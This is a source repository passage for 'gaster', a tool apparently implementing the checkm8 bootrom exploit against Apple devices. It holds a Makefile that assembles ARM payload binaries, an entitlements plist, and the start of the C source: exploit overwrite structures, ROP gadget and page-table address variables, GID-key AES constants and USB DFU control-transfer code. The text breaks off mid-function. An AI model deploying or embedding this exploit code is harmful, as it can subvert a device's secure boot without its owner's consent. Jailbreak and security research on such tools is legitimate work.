├── LICENSE
├── Makefile
├── ent.plist
├── gaster.c
├── lzfse.c
├── lzfse.h
├── payload_A9.S
├── payload_A9.bin
├── payload_handle_checkm8_request.S
├── payload_handle_checkm8_request.bin
├── payload_handle_checkm8_request_armv7.S
├── payload_handle_checkm8_request_armv7.bin
├── payload_notA9.S
├── payload_notA9.bin
├── payload_notA9_armv7.S
└── payload_notA9_armv7.bin
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "[]"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright [yyyy] [name of copyright owner]
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
202 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | .PHONY: macos libusb ios payload clean
2 |
3 | CC ?= clang
4 |
5 | macos:
6 | xxd -iC payload_A9.bin payload_A9.h
7 | xxd -iC payload_notA9.bin payload_notA9.h
8 | xxd -iC payload_notA9_armv7.bin payload_notA9_armv7.h
9 | xxd -iC payload_handle_checkm8_request.bin payload_handle_checkm8_request.h
10 | xxd -iC payload_handle_checkm8_request_armv7.bin payload_handle_checkm8_request_armv7.h
11 | xcrun -sdk macosx clang -mmacosx-version-min=10.9 -Weverything gaster.c lzfse.c -o gaster -framework CoreFoundation -framework IOKit -Os
12 | $(RM) payload_A9.h payload_notA9.h payload_notA9_armv7.h payload_handle_checkm8_request.h payload_handle_checkm8_request_armv7.h
13 |
14 | libusb:
15 | xxd -iC payload_A9.bin payload_A9.h
16 | xxd -iC payload_notA9.bin payload_notA9.h
17 | xxd -iC payload_notA9_armv7.bin payload_notA9_armv7.h
18 | xxd -iC payload_handle_checkm8_request.bin payload_handle_checkm8_request.h
19 | xxd -iC payload_handle_checkm8_request_armv7.bin payload_handle_checkm8_request_armv7.h
20 | $(CC) -Wall -Wextra -Wpedantic -DHAVE_LIBUSB gaster.c lzfse.c -o gaster -lusb-1.0 -lcrypto -Os
21 | $(RM) payload_A9.h payload_notA9.h payload_notA9_armv7.h payload_handle_checkm8_request.h payload_handle_checkm8_request_armv7.h
22 |
23 | ios:
24 | mkdir headers
25 | ln -s $(shell xcrun -sdk macosx -show-sdk-path)/usr/include/libkern headers
26 | ln -s $(shell xcrun -sdk macosx -show-sdk-path)/System/Library/Frameworks/IOKit.framework/Headers headers/IOKit
27 | xxd -iC payload_A9.bin payload_A9.h
28 | xxd -iC payload_notA9.bin payload_notA9.h
29 | xxd -iC payload_notA9_armv7.bin payload_notA9_armv7.h
30 | xxd -iC payload_handle_checkm8_request.bin payload_handle_checkm8_request.h
31 | xxd -iC payload_handle_checkm8_request_armv7.bin payload_handle_checkm8_request_armv7.h
32 | xcrun -sdk iphoneos clang -arch armv7 -arch arm64 -isystemheaders -mios-version-min=9.0 -Weverything gaster.c lzfse.c -o gaster -framework CoreFoundation -framework IOKit -Os
33 | $(RM) payload_A9.h payload_notA9.h payload_notA9_armv7.h payload_handle_checkm8_request.h payload_handle_checkm8_request_armv7.h
34 | $(RM) -r headers
35 |
36 | payload:
37 | as -arch arm64 payload_A9.S -o payload_A9.o
38 | gobjcopy -O binary -j .text payload_A9.o payload_A9.bin
39 | $(RM) payload_A9.o
40 | as -arch arm64 payload_notA9.S -o payload_notA9.o
41 | gobjcopy -O binary -j .text payload_notA9.o payload_notA9.bin
42 | $(RM) payload_notA9.o
43 | as -arch armv7 payload_notA9_armv7.S -o payload_notA9_armv7.o
44 | gobjcopy -O binary -j .text payload_notA9_armv7.o payload_notA9_armv7.bin
45 | $(RM) payload_notA9_armv7.o
46 | as -arch arm64 payload_handle_checkm8_request.S -o payload_handle_checkm8_request.o
47 | gobjcopy -O binary -j .text payload_handle_checkm8_request.o payload_handle_checkm8_request.bin
48 | $(RM) payload_handle_checkm8_request.o
49 | as -arch armv7 payload_handle_checkm8_request_armv7.S -o payload_handle_checkm8_request_armv7.o
50 | gobjcopy -O binary -j .text payload_handle_checkm8_request_armv7.o payload_handle_checkm8_request_armv7.bin
51 | $(RM) payload_handle_checkm8_request_armv7.o
52 |
53 | clean:
54 | $(RM) gaster
55 |
--------------------------------------------------------------------------------
/ent.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | platform-application
6 |
7 | com.apple.private.security.no-container
8 |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/gaster.c:
--------------------------------------------------------------------------------
1 | /* Copyright 2023 0x7ff
2 | *
3 | * Licensed under the Apache License, Version 2.0 (the "License");
4 | * you may not use this file except in compliance with the License.
5 | * You may obtain a copy of the License at
6 | *
7 | * http://www.apache.org/licenses/LICENSE-2.0
8 | *
9 | * Unless required by applicable law or agreed to in writing, software
10 | * distributed under the License is distributed on an "AS IS" BASIS,
11 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | * See the License for the specific language governing permissions and
13 | * limitations under the License.
14 | */
15 | #include "lzfse.h"
16 | #ifdef HAVE_LIBUSB
17 | # include
18 | # include
19 | # include
20 | # include
21 | # include
22 | #else
23 | # include
24 | # include
25 | # include
26 | # include
27 | #endif
28 |
29 | #define DFU_DNLOAD (1)
30 | #define AES_CMD_DEC (1U)
31 | #define APPLE_VID (0x5AC)
32 | #define AES_CMD_CBC (16U)
33 | #define AES_BLOCK_SZ (16)
34 | #define DFU_STATUS_OK (0)
35 | #define DFU_GET_STATUS (3)
36 | #define DFU_CLR_STATUS (4)
37 | #define MAX_BLOCK_SZ (0x50)
38 | #define DFU_MODE_PID (0x1227)
39 | #define DFU_STATE_MANIFEST (7)
40 | #define EP0_MAX_PACKET_SZ (0x40)
41 | #define DFU_FILE_SUFFIX_LEN (16)
42 | #define AES_KEY_SZ_BYTES_256 (32)
43 | #define AES_KEY_TYPE_GID0 (0x200U)
44 | #define DFU_MAX_TRANSFER_SZ (0x800)
45 | #define DFU_STATE_MANIFEST_SYNC (6)
46 | #define AES_KEY_SZ_256 (0x20000000U)
47 | #define ARM_16K_TT_L2_SZ (0x2000000U)
48 | #define DFU_STATE_MANIFEST_WAIT_RESET (8)
49 | #define DONE_MAGIC (0x646F6E65646F6E65ULL)
50 | #define EXEC_MAGIC (0x6578656365786563ULL)
51 | #define MEMC_MAGIC (0x6D656D636D656D63ULL)
52 | #define USB_MAX_STRING_DESCRIPTOR_IDX (10)
53 |
54 | #define LZSS_F (18)
55 | #define LZSS_N (4096)
56 | #define DER_INT (0x2U)
57 | #define DER_SEQ (0x30U)
58 | #define LZSS_THRESHOLD (2)
59 | #define DER_IA5_STR (0x16U)
60 | #define DER_OCTET_STR (0x4U)
61 | #define COMP_HDR_PAD_SZ (0x16C)
62 | #define COMP_HDR_MAGIC (0x636F6D70U)
63 | #define DER_FLAG_OPTIONAL (1U << 0U)
64 | #define COMP_HDR_TYPE_LZSS (0x6C7A7373U)
65 |
66 | #ifndef HAVE_LIBUSB
67 | # if TARGET_OS_IPHONE
68 | # define kUSBPipeStalled kUSBHostReturnPipeStalled
69 | # else
70 | # define kUSBPipeStalled kIOUSBPipeStalled
71 | # endif
72 | #endif
73 |
74 | #ifndef MIN
75 | # define MIN(a, b) ((a) < (b) ? (a) : (b))
76 | #endif
77 |
78 | typedef struct {
79 | uint64_t func, arg;
80 | } callback_t;
81 |
82 | typedef struct {
83 | const uint8_t *buf;
84 | size_t len;
85 | } der_item_t;
86 |
87 | typedef struct {
88 | uint8_t off, tag, flags;
89 | } der_item_spec_t;
90 |
91 | typedef struct {
92 | uint32_t endpoint, pad_0;
93 | uint64_t io_buffer;
94 | uint32_t status, io_len, ret_cnt, pad_1;
95 | uint64_t callback, next;
96 | } dfu_callback_t;
97 |
98 | typedef struct {
99 | uint32_t endpoint, io_buffer, status, io_len, ret_cnt, callback, next;
100 | } dfu_callback_armv7_t;
101 |
102 | typedef struct {
103 | der_item_t magic, type, vers, data, kbag, comp;
104 | } im4p_t;
105 |
106 | typedef struct {
107 | der_item_t magic;
108 | im4p_t im4p;
109 | } img4_t;
110 |
111 | typedef struct {
112 | dfu_callback_t callback;
113 | } checkm8_overwrite_t;
114 |
115 | typedef struct {
116 | dfu_callback_armv7_t callback;
117 | } checkm8_overwrite_armv7_t;
118 |
119 | typedef struct {
120 | uint16_t vid, pid;
121 | #ifdef HAVE_LIBUSB
122 | struct libusb_device_handle *device;
123 | #else
124 | io_service_t serv;
125 | IOUSBDeviceInterface320 **device;
126 | CFRunLoopSourceRef async_event_source;
127 | #endif
128 | } usb_handle_t;
129 |
130 | typedef bool (*usb_check_cb_t)(usb_handle_t *, void *);
131 |
132 | enum usb_transfer {
133 | USB_TRANSFER_OK,
134 | USB_TRANSFER_ERROR,
135 | USB_TRANSFER_STALL
136 | };
137 |
138 | typedef struct {
139 | enum usb_transfer ret;
140 | uint32_t sz;
141 | } transfer_ret_t;
142 |
143 | extern uint8_t payload_A9_bin[], payload_notA9_bin[], payload_notA9_armv7_bin[], payload_handle_checkm8_request_bin[], payload_handle_checkm8_request_armv7_bin[];
144 | extern unsigned payload_A9_bin_len, payload_notA9_bin_len, payload_notA9_armv7_bin_len, payload_handle_checkm8_request_bin_len, payload_handle_checkm8_request_armv7_bin_len;
145 |
146 | #include "payload_A9.h"
147 | #include "payload_notA9.h"
148 | #include "payload_notA9_armv7.h"
149 | #include "payload_handle_checkm8_request.h"
150 | #include "payload_handle_checkm8_request_armv7.h"
151 |
152 | static uint16_t cpid;
153 | static uint32_t payload_dest_armv7;
154 | static const char *pwnd_str = " PWND:[checkm8]";
155 | static der_item_spec_t der_img4_item_specs[] = {
156 | { 0, DER_IA5_STR, 0 },
157 | { 1, DER_SEQ, 0 }
158 | }, der_im4p_item_specs[] = {
159 | { 0, DER_IA5_STR, 0 },
160 | { 1, DER_IA5_STR, 0 },
161 | { 2, DER_IA5_STR, 0 },
162 | { 3, DER_OCTET_STR, 0 },
163 | { 4, DER_OCTET_STR, DER_FLAG_OPTIONAL },
164 | { 5, DER_SEQ, DER_FLAG_OPTIONAL }
165 | };
166 | static unsigned usb_timeout, usb_abort_timeout_min;
167 | static struct {
168 | uint8_t b_len, b_descriptor_type;
169 | uint16_t bcd_usb;
170 | uint8_t b_device_class, b_device_sub_class, b_device_protocol, b_max_packet_sz;
171 | uint16_t id_vendor, id_product, bcd_device;
172 | uint8_t i_manufacturer, i_product, i_serial_number, b_num_configurations;
173 | } device_descriptor;
174 | static size_t config_hole, ttbr0_vrom_off, ttbr0_sram_off, config_large_leak, config_overwrite_pad;
175 | static uint64_t tlbi, nop_gadget, ret_gadget, patch_addr, ttbr0_addr, func_gadget, write_ttbr0, memcpy_addr, aes_crypto_cmd, boot_tramp_end, gUSBSerialNumber, dfu_handle_request, usb_core_do_transfer, dfu_handle_bus_reset, insecure_memory_base, handle_interface_request, usb_create_string_descriptor, usb_serial_number_string_descriptor;
176 |
177 | static void
178 | sleep_ms(unsigned ms) {
179 | #ifdef WIN32
180 | Sleep(ms);
181 | #else
182 | struct timespec ts;
183 |
184 | ts.tv_sec = ms / 1000;
185 | ts.tv_nsec = (ms % 1000) * 1000000L;
186 | nanosleep(&ts, NULL);
187 | #endif
188 | }
189 |
190 | #ifdef HAVE_LIBUSB
191 | static void
192 | close_usb_handle(usb_handle_t *handle) {
193 | libusb_close(handle->device);
194 | libusb_exit(NULL);
195 | }
196 |
197 | static void
198 | reset_usb_handle(const usb_handle_t *handle) {
199 | libusb_reset_device(handle->device);
200 | }
201 |
202 | static bool
203 | wait_usb_handle(usb_handle_t *handle, usb_check_cb_t usb_check_cb, void *arg) {
204 | if(libusb_init(NULL) == LIBUSB_SUCCESS) {
205 | printf("[libusb] Waiting for the USB handle with VID: 0x%" PRIX16 ", PID: 0x%" PRIX16 "\n", handle->vid, handle->pid);
206 | for(;;) {
207 | if((handle->device = libusb_open_device_with_vid_pid(NULL, handle->vid, handle->pid)) != NULL) {
208 | if(libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS && (usb_check_cb == NULL || usb_check_cb(handle, arg))) {
209 | puts("Found the USB handle.");
210 | return true;
211 | }
212 | libusb_close(handle->device);
213 | }
214 | sleep_ms(usb_timeout);
215 | }
216 | }
217 | return false;
218 | }
219 |
220 | static void
221 | usb_async_cb(struct libusb_transfer *transfer) {
222 | *(int *)transfer->user_data = 1;
223 | }
224 |
225 | static bool
226 | send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret) {
227 | int ret = libusb_control_transfer(handle->device, bm_request_type, b_request, w_value, w_index, p_data, (uint16_t)w_len, usb_timeout);
228 |
229 | if(transfer_ret != NULL) {
230 | if(ret >= 0) {
231 | transfer_ret->sz = (uint32_t)ret;
232 | transfer_ret->ret = USB_TRANSFER_OK;
233 | } else if(ret == LIBUSB_ERROR_PIPE) {
234 | transfer_ret->ret = USB_TRANSFER_STALL;
235 | } else {
236 | transfer_ret->ret = USB_TRANSFER_ERROR;
237 | }
238 | }
239 | return true;
240 | }
241 |
242 | static bool
243 | send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) {
244 | struct libusb_transfer *transfer = libusb_alloc_transfer(0);
245 | struct timeval tv;
246 | int completed = 0;
247 | uint8_t *buf;
248 |
249 | if(transfer != NULL) {
250 | if((buf = malloc(LIBUSB_CONTROL_SETUP_SIZE + w_len)) != NULL) {
251 | if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_OUT) {
252 | memcpy(buf + LIBUSB_CONTROL_SETUP_SIZE, p_data, w_len);
253 | }
254 | libusb_fill_control_setup(buf, bm_request_type, b_request, w_value, w_index, (uint16_t)w_len);
255 | libusb_fill_control_transfer(transfer, handle->device, buf, usb_async_cb, &completed, usb_timeout);
256 | if(libusb_submit_transfer(transfer) == LIBUSB_SUCCESS) {
257 | tv.tv_sec = usb_abort_timeout / 1000;
258 | tv.tv_usec = (usb_abort_timeout % 1000) * 1000;
259 | while(completed == 0 && libusb_handle_events_timeout_completed(NULL, &tv, &completed) == LIBUSB_SUCCESS) {
260 | libusb_cancel_transfer(transfer);
261 | }
262 | if(completed != 0) {
263 | if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_IN) {
264 | memcpy(p_data, libusb_control_transfer_get_data(transfer), transfer->actual_length);
265 | }
266 | if(transfer_ret != NULL) {
267 | transfer_ret->sz = (uint32_t)transfer->actual_length;
268 | if(transfer->status == LIBUSB_TRANSFER_COMPLETED) {
269 | transfer_ret->ret = USB_TRANSFER_OK;
270 | } else if(transfer->status == LIBUSB_TRANSFER_STALL) {
271 | transfer_ret->ret = USB_TRANSFER_STALL;
272 | } else {
273 | transfer_ret->ret = USB_TRANSFER_ERROR;
274 | }
275 | }
276 | }
277 | }
278 | free(buf);
279 | }
280 | libusb_free_transfer(transfer);
281 | }
282 | return completed != 0;
283 | }
284 |
285 | static void
286 | init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) {
287 | handle->vid = vid;
288 | handle->pid = pid;
289 | handle->device = NULL;
290 | }
291 | #else
292 | static void
293 | cf_dictionary_set_int16(CFMutableDictionaryRef dict, const void *key, uint16_t val) {
294 | CFNumberRef cf_val = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt16Type, &val);
295 |
296 | if(cf_val != NULL) {
297 | CFDictionarySetValue(dict, key, cf_val);
298 | CFRelease(cf_val);
299 | }
300 | }
301 |
302 | static bool
303 | query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface) {
304 | IOCFPlugInInterface **plugin_interface;
305 | bool ret = false;
306 | SInt32 score;
307 |
308 | if(IOCreatePlugInInterfaceForService(serv, plugin_type, kIOCFPlugInInterfaceID, &plugin_interface, &score) == kIOReturnSuccess) {
309 | ret = (*plugin_interface)->QueryInterface(plugin_interface, CFUUIDGetUUIDBytes(interface_type), interface) == kIOReturnSuccess;
310 | IODestroyPlugInInterface(plugin_interface);
311 | }
312 | IOObjectRelease(serv);
313 | return ret;
314 | }
315 |
316 | static void
317 | close_usb_device(usb_handle_t *handle) {
318 | CFRunLoopRemoveSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode);
319 | CFRelease(handle->async_event_source);
320 | (*handle->device)->USBDeviceClose(handle->device);
321 | (*handle->device)->Release(handle->device);
322 | }
323 |
324 | static void
325 | close_usb_handle(usb_handle_t *handle) {
326 | close_usb_device(handle);
327 | }
328 |
329 | static bool
330 | open_usb_device(io_service_t serv, usb_handle_t *handle) {
331 | bool ret = false;
332 |
333 | if(query_usb_interface(serv, kIOUSBDeviceUserClientTypeID, kIOUSBDeviceInterfaceID320, (LPVOID *)&handle->device)) {
334 | if((*handle->device)->USBDeviceOpen(handle->device) == kIOReturnSuccess) {
335 | if((*handle->device)->SetConfiguration(handle->device, 1) == kIOReturnSuccess && (*handle->device)->CreateDeviceAsyncEventSource(handle->device, &handle->async_event_source) == kIOReturnSuccess) {
336 | CFRunLoopAddSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode);
337 | ret = true;
338 | } else {
339 | (*handle->device)->USBDeviceClose(handle->device);
340 | }
341 | }
342 | if(!ret) {
343 | (*handle->device)->Release(handle->device);
344 | }
345 | }
346 | return ret;
347 | }
348 |
349 | static bool
350 | wait_usb_handle(usb_handle_t *handle, usb_check_cb_t usb_check_cb, void *arg) {
351 | CFMutableDictionaryRef matching_dict;
352 | const char *darwin_device_class;
353 | io_iterator_t iter;
354 | io_service_t serv;
355 | bool ret = false;
356 |
357 | printf("[IOKit] Waiting for the USB handle with VID: 0x%" PRIX16 ", PID: 0x%" PRIX16 "\n", handle->vid, handle->pid);
358 | #if TARGET_OS_IPHONE
359 | darwin_device_class = "IOUSBHostDevice";
360 | #else
361 | darwin_device_class = kIOUSBDeviceClassName;
362 | #endif
363 | while((matching_dict = IOServiceMatching(darwin_device_class)) != NULL) {
364 | cf_dictionary_set_int16(matching_dict, CFSTR(kUSBVendorID), handle->vid);
365 | cf_dictionary_set_int16(matching_dict, CFSTR(kUSBProductID), handle->pid);
366 | if(IOServiceGetMatchingServices(0, matching_dict, &iter) == kIOReturnSuccess) {
367 | while((serv = IOIteratorNext(iter)) != IO_OBJECT_NULL) {
368 | if(open_usb_device(serv, handle)) {
369 | if(usb_check_cb == NULL || usb_check_cb(handle, arg)) {
370 | puts("Found the USB handle.");
371 | ret = true;
372 | break;
373 | }
374 | close_usb_device(handle);
375 | }
376 | }
377 | IOObjectRelease(iter);
378 | if(ret) {
379 | break;
380 | }
381 | sleep_ms(usb_timeout);
382 | }
383 | }
384 | return ret;
385 | }
386 |
387 | static void
388 | reset_usb_handle(usb_handle_t *handle) {
389 | (*handle->device)->ResetDevice(handle->device);
390 | (*handle->device)->USBDeviceReEnumerate(handle->device, 0);
391 | }
392 |
393 | static void
394 | usb_async_cb(void *refcon, IOReturn ret, void *arg) {
395 | transfer_ret_t *transfer_ret = refcon;
396 |
397 | if(transfer_ret != NULL) {
398 | memcpy(&transfer_ret->sz, &arg, sizeof(transfer_ret->sz));
399 | if(ret == kIOReturnSuccess) {
400 | transfer_ret->ret = USB_TRANSFER_OK;
401 | } else if(ret == kUSBPipeStalled) {
402 | transfer_ret->ret = USB_TRANSFER_STALL;
403 | } else {
404 | transfer_ret->ret = USB_TRANSFER_ERROR;
405 | }
406 | }
407 | CFRunLoopStop(CFRunLoopGetCurrent());
408 | }
409 |
410 | static bool
411 | send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret) {
412 | IOUSBDevRequestTO req;
413 | IOReturn ret;
414 |
415 | req.wLenDone = 0;
416 | req.pData = p_data;
417 | req.bRequest = b_request;
418 | req.bmRequestType = bm_request_type;
419 | req.wLength = OSSwapLittleToHostInt16(w_len);
420 | req.wValue = OSSwapLittleToHostInt16(w_value);
421 | req.wIndex = OSSwapLittleToHostInt16(w_index);
422 | req.completionTimeout = req.noDataTimeout = usb_timeout;
423 | ret = (*handle->device)->DeviceRequestTO(handle->device, &req);
424 | if(transfer_ret != NULL) {
425 | if(ret == kIOReturnSuccess) {
426 | transfer_ret->sz = req.wLenDone;
427 | transfer_ret->ret = USB_TRANSFER_OK;
428 | } else if(ret == kUSBPipeStalled) {
429 | transfer_ret->ret = USB_TRANSFER_STALL;
430 | } else {
431 | transfer_ret->ret = USB_TRANSFER_ERROR;
432 | }
433 | }
434 | return true;
435 | }
436 |
437 | static bool
438 | send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) {
439 | IOUSBDevRequestTO req;
440 |
441 | req.wLenDone = 0;
442 | req.pData = p_data;
443 | req.bRequest = b_request;
444 | req.bmRequestType = bm_request_type;
445 | req.wLength = OSSwapLittleToHostInt16(w_len);
446 | req.wValue = OSSwapLittleToHostInt16(w_value);
447 | req.wIndex = OSSwapLittleToHostInt16(w_index);
448 | req.completionTimeout = req.noDataTimeout = usb_timeout;
449 | if((*handle->device)->DeviceRequestAsyncTO(handle->device, &req, usb_async_cb, transfer_ret) == kIOReturnSuccess) {
450 | sleep_ms(usb_abort_timeout);
451 | if((*handle->device)->USBDeviceAbortPipeZero(handle->device) == kIOReturnSuccess) {
452 | CFRunLoopRun();
453 | return true;
454 | }
455 | }
456 | return false;
457 | }
458 |
459 | static void
460 | init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) {
461 | handle->vid = vid;
462 | handle->pid = pid;
463 | handle->device = NULL;
464 | }
465 | #endif
466 |
467 | static bool
